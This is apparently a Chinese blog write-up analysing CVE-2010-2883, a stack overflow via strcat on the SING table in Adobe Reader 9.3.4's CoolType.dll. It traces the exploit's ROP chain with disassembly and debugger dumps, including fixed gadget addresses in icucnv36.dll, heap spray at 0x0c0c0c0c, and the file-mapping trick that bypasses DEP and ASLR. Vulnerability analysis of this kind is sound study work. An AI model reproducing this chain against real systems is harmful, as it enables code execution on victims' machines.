盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. ROP :
    2. 流程在栈中的执行情况:
    3. 执行到堆喷射后 :

CVE-2010-2883

前言:

研究的第一个cve,跟着漏洞战争这书来的,感觉第一个栈溢出就这么难。。而且发现这个cve的人脑洞为什么能这么大。。

正文:

环境配置 :

  1. Windows XP SP3
  2. Ollydbg、PDFStreamDumper、IDA
  3. 软件:Adobe Reader 9.3.4

漏洞点在SING表处,位于CoolType.dll文件处。

先将恶意pdf文件导入PDFStreamDumper,查看之后可以找到SING表的数据结构。

QQ20181003-231642@2x

官方定义的SING的数据结构:

1
2
3
4
5
6
struct{
char tag[4];
ULONG checkSum;
ULONG offset;
ULONG length;
}

根据我们所找到的SING表的数据,可以知道偏移地址为0x11c。再往下找0x11c偏移处的内容:

QQ20181003-232041@2x

但是在偏移0x10处的内容才是uniqueName域起始内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
.text:0803DCF9                 push    ebp
.text:0803DCFA sub esp, 104h <-----------栈长度0x104
.text:0803DD00 lea ebp, [esp-4]
.text:0803DD04 mov eax, ___security_cookie <---------Canary
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset sub_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING" <------SING表入栈
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+108h+var_12C]
.text:0803DD7D call sub_8021B06 <------处理sing表
.text:0803DD82 mov eax, [ebp+108h+var_12C]
.text:0803DD85 cmp eax, esi
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4
.text:0803DD8D mov ecx, [eax]
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9
.text:0803DD9F add eax, 10h <-------uniqueName域
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat <-------溢出!

先来看看处理SING表的那一块函数地方。

先把字符串SING入栈,后入栈edi,调试可得:

F2DAE82A-04DD-4123-B7D6-F567218E1D20

暂且还不知道他的内容是怎么回事。继续看。

后来赋值了ecx。调用完函数之后eax中函数的返回值就是原ecx的值,来对比一下前后的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
调用前ecx:
0012E4B4 74 F3 A8 04 28 6A 1C 02 00 00 00 00 00 00 00 00 t蟥(j........
0012E4C4 CC B9 E7 00 70 E4 12 00 0C E7 12 00 54 4A 18 08 坦?p?..?.TJ
0012E4D4 01 00 00 00 D8 E4 12 00 B0 E6 12 00 00 00 00 00 ...劁.版.....
0012E4E4 E5 64 20 44 58 E8 12 00 9C AE 23 08 EF 52 08 08 錮 DX?.湲#颮
0012E4F4 50 A6 23 08 BC 2D BB 04 0B 0D 08 08 6C F3 A8 04 P??? .l蟥
0012E504 D4 E4 12 00 50 E5 12 00 AF F8 11 01 FF FF FF FF 凿.P?.
---------------------------------------------------------------------------
调用后eax:
0012E4B4 6C 0B A9 04 DF 1D 00 00 00 00 00 00 00 00 00 00 l ??..........
0012E4C4 CC B9 E7 00 70 E4 12 00 0C E7 12 00 54 4A 18 08 坦?p?..?.TJ
0012E4D4 01 00 00 00 D8 E4 12 00 B0 E6 12 00 00 00 00 00 ...劁.版.....
0012E4E4 E5 64 20 44 58 E8 12 00 9C AE 23 08 EF 52 08 08 錮 DX?.湲#颮
0012E4F4 50 A6 23 08 BC 2D BB 04 0B 0D 08 08 6C F3 A8 04 P??? .l蟥
0012E504 D4 E4 12 00 50 E5 12 00 AF F8 11 01 FF FF FF FF 凿.P?.

前八个字节发生了变化。在看后四字节0x1DDF。这不就是前面所看到的数据长度吗?所以我们可以推测出该函数大致上就是处理SING表内容的。再看看前四字节,调用完函数之后又重新赋值了一遍eax,刚好是把前四字节赋值给了eax。再看看后面对于eax的调用,又有一处加上了0x10,所以我们看看其地址处的内容:

1
2
3
4
5
6
d 0x4A90B6C :
04A90B6C 00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A ...........:
04A90B7C 98 66 51 E6 AB 53 8B E7 14 A7 82 4A 0C 0C 0C 0C 榝Q娅S嬬J....
04A90B8C 16 0A 12 37 7A 8C E7 36 3F DC A9 03 A1 E1 CF CB .7z岀6?堠♂纤
04A90B9C 7B 78 91 C5 8B 8C F7 5F 3D C8 2F 90 40 D3 35 1E {x懪媽鱛=?怈?
04A90BAC 24 0B 45 5F 64 6D 61 0A 1D 5B 9E 6C 2E F6 6A EB $ E_dma.[瀕.鰆

这不就是前面所看到的SING表内容吗,后面调用eax加上0x10的原因就在于加上0x10后的地址处内容才是uniqueName域的内容。

然后看edi的作用,edi寄存器所指的地址内容设置一下内存访问断点,查看一下被什么调用即可,经多次查看之后就可以发现edi偏移0x30处的0x4A8F374被下面图中处代码调用过。

QQ20181003-234953@2x

在查看一下该处地址的对应内容:

1
2
3
4
5
6
7
8
9
10
d 0x4A8F374:
04A8F374 00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32 .......OS/2
04A8F384 B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54 確鬰..雙...VPCLT
04A8F394 D1 8A 5E 97 00 00 EB C8 00 00 00 36 63 6D 61 70 褗^?.肴...6cmap
04A8F3A4 A4 C3 E8 A0 00 00 B1 6C 00 00 03 58 63 76 74 20 っ锠..眑..Xcvt
04A8F3B4 FF D3 1D 39 00 00 1E FC 00 00 01 FC 66 70 67 6D ?9..?.黤pgm
04A8F3C4 E7 B4 F1 C4 00 00 26 60 00 00 00 8B 67 61 73 70 绱衲..&`...媑asp
04A8F3D4 00 07 00 07 00 01 01 48 00 00 00 0C 67 6C 79 66 ...H....glyf
04A8F3E4 0C 74 41 CF 00 00 26 EC 00 00 8A 7E 68 64 6D 78 .tA?.&?.妦hdmx
04A8F3F4 34 F0 21 0E 00 00 EC 00 00 00 15 48 68 65 61 64 4?..?..Hhead

这是PDF文件中的字体对象。

所以说我们这里已经搞清楚了第一个call函数的用途:

函数通过传入表目录项的 TAG 名称,然后读取表目录项,处理后返回两个元素,第一个元素为表目录的内存映射地址,第二个元素为表目录的长度。

搞清了第一个函数之后再看看下一个漏洞点的函数:

1
2
3
4
5
6
.text:0803DD9F                 add     eax, 10h
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat

用Ollydbg调试看看。

QQ20181004-230857@2x

先是加上了0x10,即前文提到的uniqueName域,压入栈中,而后将ebp入栈,再调用strcat函数,所以说就是将uniqueName域拼接到ebp指向的地址。

因为并没有限制拼接的长度,所以就产生了溢出。

ROP :

接下来跟踪查看一下作者所构造的ROP链,是如何来利用这个溢出漏洞的。跟踪反复调试过之后可以得出,先执行到此处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0803DDD2                 pop     ecx
.text:0803DDD3
.text:0803DDD3 loc_803DDD3: ; CODE XREF: sub_803DCF9+D1j
.text:0803DDD3 cmp [ebp+108h+var_119], 0
.text:0803DDD7 jnz loc_803DEA9 <----------跳转实现

---------------------------------------------------------------------------

.text:0803DEA9 loc_803DEA9: ; CODE XREF: sub_803DCF9+5Ej
.text:0803DEA9 ; sub_803DCF9+DEj ...
.text:0803DEA9 lea eax, [ebp+108h+var_124]
.text:0803DEAC push eax
.text:0803DEAD push ebx
.text:0803DEAE push edi
.text:0803DEAF call sub_8016BDE

进入sub_8016BDE函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.text:08016BDE                 push    ebp
.text:08016BDF sub esp, 660h
.text:08016BE5 lea ebp, [esp-4]
.text:08016BE9 mov eax, ___security_cookie
.text:08016BEE xor eax, ebp
.text:08016BF0 mov [ebp+664h+var_4], eax
.text:08016BF6 push 50h
.text:08016BF8 mov eax, offset sub_8175D32
.text:08016BFD call __EH_prolog3_catch
.text:08016C02 mov eax, [ebp+664h+arg_8]
.text:08016C08 mov esi, [ebp+664h+arg_4]
.text:08016C0E mov edi, [ebp+664h+arg_0]
.text:08016C14 mov [ebp+664h+var_6BC], eax
.text:08016C17 mov eax, offset CriticalSection
.text:08016C1C push eax ; lpCriticalSection
.text:08016C1D mov [ebp+664h+var_680], esi
.text:08016C20 mov [ebp+664h+var_6C0], eax
.text:08016C23 call ds:EnterCriticalSection
.text:08016C29 xor ebx, ebx
.text:08016C2B push edi
.text:08016C2C mov [ebp+664h+var_668], ebx
.text:08016C2F mov [ebp+664h+var_694], ebx
.text:08016C32 mov [ebp+664h+var_678], ebx
.text:08016C35 call sub_801BB1C
.text:08016C3A cmp eax, ebx
.text:08016C3C pop ecx
.text:08016C3D mov [ebp+664h+var_67C], eax
.text:08016C40 jz loc_80172CE
.text:08016C46 push 1
.text:08016C48 push ebx
.text:08016C49 push ebx
.text:08016C4A lea eax, [ebp+664h+var_678]
.text:08016C4D push eax
.text:08016C4E lea eax, [ebp+664h+var_694]
.text:08016C51 push eax
.text:08016C52 push edi
.text:08016C53 push [ebp+664h+var_67C]
.text:08016C56 call sub_801BB21

而后进入到sub_801BB21函数当中:

1
2
3
4
5
6
7
8
9
10
11
12
.text:0801BB21                 push    ebp
.text:0801BB22 mov ebp, esp
.text:0801BB24 push [ebp+arg_18]
.text:0801BB27 mov ecx, [ebp+arg_0]
.text:0801BB2A push [ebp+arg_14]
.text:0801BB2D mov eax, [ecx]
.text:0801BB2F push [ebp+arg_10]
.text:0801BB32 inc dword_823A6A0
.text:0801BB38 push [ebp+arg_C]
.text:0801BB3B push [ebp+arg_8]
.text:0801BB3E push [ebp+arg_4]
.text:0801BB41 call dword ptr [eax]

再进入[eax]函数处,即0x808b116:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:0808B116                 push    ebp
.text:0808B117 mov ebp, esp
.text:0808B119 push ecx
.text:0808B11A push ebx
.text:0808B11B push esi
.text:0808B11C push edi
.text:0808B11D mov edi, [ebp+arg_0]
.text:0808B120 push edi
.text:0808B121 mov esi, ecx
.text:0808B123 call sub_808B02A
.text:0808B128 xor ebx, ebx
.text:0808B12A test al, al
.text:0808B12C jz loc_808B2CB
.text:0808B132 cmp [ebp+arg_14], bl
.text:0808B135 jnz loc_808B2CB <--------跳转实现

---------------------------------------------------------------------------

.text:0808B2CB
.text:0808B2CB loc_808B2CB: ; CODE XREF: sub_808B116+16j
.text:0808B2CB ; sub_808B116+1Fj
.text:0808B2CB mov eax, [esi]
.text:0808B2CD mov [ebp+arg_17], bl
.text:0808B2D0 call dword ptr [eax+70h]
.text:0808B2D3 push edi
.text:0808B2D4 lea ecx, [esi+14h]
.text:0808B2D7 call sub_801E540
.text:0808B2DC mov byte ptr [esi+0E0h], 1
.text:0808B2E3 mov eax, [edi+3Ch]
.text:0808B2E6 cmp eax, ebx
.text:0808B2E8 mov [esi+2F4h], eax
.text:0808B2EE mov [esi+2F8h], ebx
.text:0808B2F4 mov [ebp+var_4], ebx
.text:0808B2F7 jnz short loc_808B300
.text:0808B2F9
.text:0808B2F9 loc_808B2F9: ; CODE XREF: sub_808B116+28Ej
.text:0808B2F9 xor al, al
.text:0808B2FB jmp loc_808B594
.text:0808B300 ; ---------------------------------------------------------------------------
.text:0808B300
.text:0808B300 loc_808B300: ; CODE XREF: sub_808B116+1E1j
.text:0808B300 lea ecx, [ebp+var_4]
.text:0808B303 push ecx
.text:0808B304 push ebx
.text:0808B305 push 3
.text:0808B307 push eax
.text:0808B308 call dword ptr [eax]

再进入[eax]处的存放地址,实际上是栈中存放的地址:

eax:0x0012E6D0,call地址:0x4A80CB38 返回到 icucnv36.4A80CB38 来自 icucnv36.4A846C49

而strcat拼接的地址是从0x0012E4D8开始的。

继续看接下来的调用:

1
2
3
4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E C9 leave
4A80CB3F C3 retn
  1. 第一条指令

调用前:ebp –> 0x0012DD48

调用后:ebp –> 0x0012E4DC

  1. 第二条指令

esp –> 0x0012E4E0

ebp –> 0xE78B53AB

  1. 第三条指令

eip –> 0x4A82A714 icucnv36.4A82A714

接下去的ROP:

1
2
4A82A714    5C              pop esp                                  ; 0C0C0C0C
4A82A715 C3 retn

esp –> 0x0c0c0c0c

接下去就是在堆内存0x0c0c0c0c处构造好的shellcode了。

这种在0x0c0c0c0c处构造shellcode的方法是堆喷射。

流程在栈中的执行情况:

我画了一个图,可以自行边调试边参考我画的在栈中执行的流程图。

liucheng

可以看出来该跳转的稳定性主要来源于0x4A80CB38和0x4A82A714这两处地址,两处地址都位于icucnv26.dll的地址空间,而在Adobe的各个版本上,这个dll上的两处地址一直不变,所以该exploit在各个版本都很稳定。

执行到堆喷射后 :

返回到0x0C0C0C0C后栈中的情况:

1
2
3
4
5
6
7
8
9
10
0C0C0C0C   4A8063A5  icucnv36.4A8063A5
0C0C0C10 4A8A0000 icucnv36.4A8A0000
0C0C0C14 4A802196 icucnv36.4A802196
0C0C0C18 4A801F90 icucnv36.4A801F90
0C0C0C1C 4A84903C <&KERNEL32.CreateFileA>
0C0C0C20 4A80B692 icucnv36.4A80B692
0C0C0C24 4A801064 icucnv36.4A801064
0C0C0C28 4A8522C8 icucnv36.4A8522C8
0C0C0C2C 10000000 sqlite.10000000
0C0C0C30 00000000

先跳到0x4A8063A5处,

1
2
4A8063A5    59              pop ecx                                  ; icucnv36.4A8A0000
4A8063A6 C3 retn

而后转入0x4A802196,

1
2
4A802196    8901            mov dword ptr ds:[ecx],eax
4A802198 C3 retn

再转入0x4A801F90,

1
2
4A801F90    58              pop eax                               ; <&KERNEL32.CreateFileA>
4A801F91 C3 retn

转入0x4A80B692,

1
4A80B692  - FF20            jmp dword ptr ds:[eax]                   ; kernel32.CreateFileA

调用CreateFile函数,再查看栈中的内容:

1
2
3
4
5
6
7
8
0C0C0C24   4A801064  /CALL 到 CreateFileA
0C0C0C28 4A8522C8 |FileName = "iso88591"
0C0C0C2C 10000000 |Access = GENERIC_ALL
0C0C0C30 00000000 |ShareMode = 0
0C0C0C34 00000000 |pSecurity = NULL
0C0C0C38 00000002 |Mode = CREATE_ALWAYS
0C0C0C3C 00000102 |Attributes = HIDDEN|TEMPORARY
0C0C0C40 00000000 \hTemplateFile = NULL

创建了一个名为“iso88591”的文件。

执行完该函数之后又用前面ROP调用CreateFileA相同的手法调用了CreateFileMapping函数,该函数创建了文件内存映射。此时调用的各个参数为:

1
2
3
4
5
6
7
0C0C0C68   4A801064  /CALL 到 CreateFileMappingA
0C0C0C6C 0000043C |hFile = 0000043C
0C0C0C70 00000000 |pSecurity = NULL
0C0C0C74 00000040 |Protection = PAGE_EXECUTE_READWRITE
0C0C0C78 00000000 |MaximumSizeHigh = 0x0
0C0C0C7C 00010000 |MaximumSizeLow = 0x10000
0C0C0C80 00000000 \MapName = NULL

后又执行,

1
4A80B692  - FF20            jmp dword ptr ds:[eax]                 ; kernel32.MapViewOfFile

调用MapViewOfFile函数,各个参数:

1
2
3
4
5
6
0C0C0CA8   4A801064  /CALL 到 MapViewOfFile
0C0C0CAC 00000440 |hMapObject = 00000440
0C0C0CB0 00000022 |AccessMode = 0x22
0C0C0CB4 00000000 |OffsetHigh = 0x0
0C0C0CB8 00000000 |OffsetLow = 0x0
0C0C0CBC 00010000 \MapSize = 10000 (65536.)

后调用memcpy函数,各个参数:

1
2
3
4
0C0C0D44   04490000  /CALL 到 memcpy
0C0C0D48 04490000 |dest = 04490000
0C0C0D4C 0C0C0D54 |src = 0C0C0D54
0C0C0D50 00001000 \n = 1000 (4096.)

这里因为有着DEP的机制,所以说shellcode在堆栈上是无法执行的,因此这里就可以创建一个文件对象,然后映射到可读可写可执行的内存区域,再将shellcode拷贝到该区域,就可以执行shellcode了。而且恰好我们构造的ROP都处于icucnv36.dll,此处不受aslr保护,成功绕过aslr。

QQ20181006-142548@2x

成功执行。

支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫